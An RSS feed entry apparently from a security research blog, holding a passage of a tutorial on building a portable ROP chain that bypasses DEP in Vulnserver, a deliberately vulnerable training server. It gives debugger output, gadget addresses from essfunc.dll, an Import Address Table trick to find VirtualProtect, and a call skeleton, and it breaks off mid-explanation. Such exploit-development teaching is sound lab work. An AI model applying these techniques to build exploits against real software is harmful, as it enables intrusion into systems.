<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Ingredous Labs</title>
    <description>Research &amp; Notes</description>
    <link>/</link>
    <atom:link href="/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Fri, 22 Sep 2023 17:00:55 +0000</pubDate>
    <lastBuildDate>Fri, 22 Sep 2023 17:00:55 +0000</lastBuildDate>
    <generator>Jekyll v3.9.3</generator>
    
      <item>
        <title>Vulnserver - Portable DEP Bypass</title>
        <description>&lt;h2 id=&quot;preface&quot;&gt;Preface&lt;/h2&gt;

&lt;p&gt;While searching online for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vulnserver TRUN Overflow&lt;/code&gt; proof-of-concept capable of circumventing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEP&lt;/code&gt;, all the available examples seemed to utilize &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mona&lt;/code&gt; to construct the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain, drawing gadgets from multiple modules with the majority (if not all) being system libraries.&lt;/p&gt;

&lt;p&gt;The challenge here lies in the fragile nature of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain when relying on system libraries. Since 2007, Windows system libraries are compiled with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASLR&lt;/code&gt;, making their memory addresses unpredictable. What complicates this is that the base addresses for these libraries are set when the system boots up. So, if you’re using hardcoded addresses from these libraries in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain, your exploit will fail if the target system restarts.&lt;/p&gt;

&lt;p&gt;Furthermore, even if you somehow manage to sidestep the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASLR&lt;/code&gt; issue, you’ll still be tied down to a specific Windows version. System libraries are often updated or changed between different versions of the OS. So, the gadgets you rely on today might not be available or could be located at different addresses in a future Windows update. This lack of adaptability limits the usefulness of your exploit across different environments.&lt;/p&gt;

&lt;p&gt;Lastly in a real-world scenario, you won’t have the luxury of knowing the hardcoded memory addresses of gadgets residing in system libraries on a remote target system. This makes the hardcoded addresses practically useless for bypassing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEP&lt;/code&gt; in remote exploitation scenarios. As a result, your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain ends up being effective only for local exploitation, severely limiting its practical utility.&lt;/p&gt;

&lt;p&gt;What’s the solution? On paper, it’s straightforward: construct the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain using gadgets from the libraries bundled with the application. But as we’ll discover, executing this solution is far from simple.&lt;/p&gt;

&lt;h2 id=&quot;building-the-rop-chain&quot;&gt;Building the ROP Chain&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Note: The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Exploit Protection&lt;/code&gt; settings on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windows 10&lt;/code&gt; were modifed to enable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEP&lt;/code&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vulnsever.exe&lt;/code&gt; process.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After booting up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Windbg&lt;/code&gt; and attaching to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vulnserver.exe&lt;/code&gt;, the modules loaded in the process are shown below along with their memory protections:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; !nmod
00400000 0041d000 vulnserver           /SafeSEH OFF                C:\Users\m\Desktop\vulnserver\vulnserver.exe
62500000 6251b000 essfunc              /SafeSEH OFF                C:\Users\m\Desktop\vulnserver\essfunc.dll
75030000 75268000 KERNELBASE           /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\KERNELBASE.dll
75a60000 75b1f000 msvcrt               /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\msvcrt.dll
76520000 765ba000 KERNEL32             /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\KERNEL32.DLL
76820000 76883000 WS2_32               /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\WS2_32.dll
76d80000 76e45000 RPCRT4               /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\RPCRT4.dll
76ed0000 7706f000 ntdll                /SafeSEH ON  /GS *ASLR *DEP ntdll.dll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vulnserver&lt;/code&gt;, there are only two modules which are not system libraries:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;vulnserver (base executable)&lt;/li&gt;
  &lt;li&gt;essfunc (library)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Moreover, the situation is complicated by the fact that the memory regions of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vulnserver&lt;/code&gt; module start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00&lt;/code&gt;. In the context of this application, a null-byte is considered a ‘bad character’. This effectively renders any gadgets within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vulnserver&lt;/code&gt; module unusable. Even if you manage to use a ‘partial overwrite’, you could only use a single gadget successfully; all subsequent gadgets would get truncated due to the null-byte issue. This leaves us with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; module as our sole source for usable gadgets.&lt;/p&gt;

&lt;p&gt;An added advantage of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; module is its uncommon preferred base address, which is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62500000&lt;/code&gt;. This is significant because the default base address on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x86&lt;/code&gt; for a DLL is usually &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x10000000&lt;/code&gt;. If multiple libraries in the application used this default, there’s a good chance their addresses would conflict. In that case, Windows would resolve the clash by assigning an available base address, essentially randomizing it. With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; module’s unique base address, we sidestep this issue.&lt;/p&gt;

&lt;h3 id=&quot;determining-the-api-to-use-to-bypass-dep&quot;&gt;Determining the API to use to bypass DEP&lt;/h3&gt;

&lt;p&gt;Several functions exist for bypassing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEP&lt;/code&gt;, with the most commonly used ones being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualAlloc&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteProcessMemory&lt;/code&gt;. Upon inspecting the imported functions in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;esssfunc.dll&lt;/code&gt;, we find that it includes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt;. This makes it our go-to function for bypassing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEP&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For context, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; function prototype is the following:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;BOOL&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;VirtualProtect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;LPVOID&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpAddress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;SIZE_T&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;flNewProtect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PDWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lpflOldProtect&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;preserving-the-stack&quot;&gt;Preserving the Stack&lt;/h3&gt;

&lt;p&gt;When creating a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain, one of the initial steps usually involves saving the stack’s address in a register. This is important because often a ‘skeleton’ is part of the buffer, serving as a blueprint to set up a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; call. The skeleton typically looks like this:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x45454545&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# VirtualProtect address
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x46464646&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ret address
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x47474747&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# lpAddress 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x48484848&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# dwsize (0x01)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x49494949&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# flNewProtect (0x40)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skeleton&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'I'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4a4a4a4a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# lpflOldProtect (ptr to valid memory location)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to preserve the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESP&lt;/code&gt; register, you will find common gadgets such as:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;push esp ; pop r32 ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov r32, esp ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// assuming that r32 is 0x00
or r32, esp ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// assuming that r32 is 0xFFFFFFF
and r32, esp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// asuming that r32 is 0x00
add r32, esp ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;// assuming that r32 is 0x00
sub esp, r32
neg r32
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this specific scenario, however, we didn’t find any gadgets that would help with this. Interestingly, we did find that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; is pointing to the stack, specifically, it is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x7E0&lt;/code&gt; bytes away from the stack pointer. This is advantageous as we can use the current &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; address to construct the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; call without any interference from the other gadgets. Although it’s possible to place the skeleton shown above on the stack and reach  it by adjusting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; using arithmetic instructions, there’s really no reason to do so.&lt;/p&gt;

&lt;p&gt;You’ll soon observe that in this specific gadget chain, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; is frequently used as a transient or “scratch” register due to the nature of the gadgets. To mitigate the ephemeral nature of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;, its value was persisted to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; This choice was influenced by the discovery of two particularly useful gadgets. These gadgets allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ECX&lt;/code&gt; to essentially be interchanged between one another. These gadgets will prove valuable later in the writeup.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x625021ff: nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret 
0x6250219d: mov eax, ecx ; ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;dynamically-obtaining-the-address-of-virtualprotect&quot;&gt;Dynamically obtaining the address of VirtualProtect&lt;/h3&gt;

&lt;p&gt;While &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; isn’t compiled with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASLR&lt;/code&gt;, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; function, housed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel32&lt;/code&gt;, is. This means that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; address will be subject to randomization. So, the puzzle here is: how do we find the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; during runtime?&lt;/p&gt;

&lt;p&gt;Enter the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Import Address Table (IAT)&lt;/code&gt;, a powerful mechanism for tackling this issue. As one &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/16872&quot;&gt;Stack Overflow answer&lt;/a&gt; explains:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The Import Address Table consists of function pointers and is utilized to fetch function addresses when DLLs are loaded. A compiled application is engineered to use these function pointers instead of hardcoding direct addresses.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The great thing about an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IAT&lt;/code&gt; belonging to a module without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ASLR&lt;/code&gt;, like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt;, is that it will contain a hardcoded pointer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt;. This pointer can be easily dereferenced at runtime to acquire the actual address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; function, sidestepping the randomization issue.&lt;/p&gt;

&lt;p&gt;Here’s a quick guide that illustrates the process:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc.dll&lt;/code&gt; in IDA Pro or any other disassembler of your choice. Once the binary analysis is complete, look under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Imports&lt;/code&gt; tab. Search for your desired function, and you should find an entry similar to:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;62507120		VirtualProtect	KERNEL32
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62507120&lt;/code&gt; serves as the hardcoded pointer directing to the actual &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; address.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Now, connect a debugger like WinDbg to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vulnserver.exe&lt;/code&gt;. Use the following command to dereference the pointer and reveal the first few instructions at the address, along with the symbol name&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:000&amp;gt; u poi(0x62507120)
KERNEL32!VirtualProtectStub:
77db5c80 8bff            mov     edi,edi
77db5c82 55              push    ebp
77db5c83 8bec            mov     ebp,esp
77db5c85 5d              pop     ebp
77db5c86 ff251888e177    jmp     dword ptr [KERNEL32!_imp__VirtualProtect (77e18818)]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that the symbol name displayed is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtectStub&lt;/code&gt;, which essentially calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; internally. This confirms that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt;’s address can indeed be acquired during runtime.&lt;/p&gt;

&lt;p&gt;The in-depth explanation earlier paves the way for our hunt for a specific kind of gadget—a gadget that can dereference a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; from a memory address and move it into a register. Simply put, we’re looking for something like:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov r32, [r32]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To expedite the search, using regular expressions can be quite handy. For example, to find a gadget similar to the one above, the following expression can be used:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov\se\w\w,\s\s\[e\w\w\]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The search yields two gadgets matching this pattern:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x62501e2d: lea esi,  [esi+0x00] ; mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp 
0x62501e30: mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Upon closer inspection, these gadgets are actually identical, distinguished only by a leading instruction in the first one. In other words, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [ebx]&lt;/code&gt; occurs at the same address in both aka &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x62501e30&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Moreover, these gadgets look daunting at first, due to the mov &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[esp+0x00], eax&lt;/code&gt; instruction and the subsequent indirect call. When encountering challenges like this, it’s advisable to look for alternative gadgets that essentially accomplish the same dereferencing goal. For example:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;push [eax]
pop ebx
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xor eax, eax / sub eax, eax
add eax, [ebx]
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xor eax, eax / sub eax, eax
or eax, [ebx]
...
ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Regrettably, upon further investigation, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; module doesn’t offer such alternatives. The only viable option remains:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To demystify this gadget, let’s break down its individual instructions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax,  [ebx]&lt;/code&gt; - Dereferences a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[EBX]&lt;/code&gt; and moves it into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov [esp+0x00], eax&lt;/code&gt; - Overwrites the value on top of the stack with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call ebp&lt;/code&gt; - Makes an indirect call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This gadget presents a set of challenges, as discussed earlier. The primary concern is that it meddles with the stack, which holds our gadget chain aiming to create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; function call. Any alteration to the stack jeopardizes this chain. Also, typical gadgets usually end with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction, so the program fetches the next gadget from the stack. But due to how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction works, it alters the stack again by pushing the return address, further complicating the situation.&lt;/p&gt;

&lt;p&gt;Surprisingly, the tricky gadget we’ve been analyzing could actually serve us well, provided we’re able to preload an arbitrary value into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt;. The good news is that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;essfunc&lt;/code&gt; module has an instruction like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop ebp ; ret&lt;/code&gt;, making this feasible.&lt;/p&gt;

&lt;p&gt;Here’s the fundamental outline:&lt;/p&gt;

&lt;p&gt;Load &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBP&lt;/code&gt; with an address pointing to another gadget that will remove two values from the top of the stack—essentially a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop/pop/ret&lt;/code&gt; sequence:&lt;/p&gt;
&lt;ol&gt;
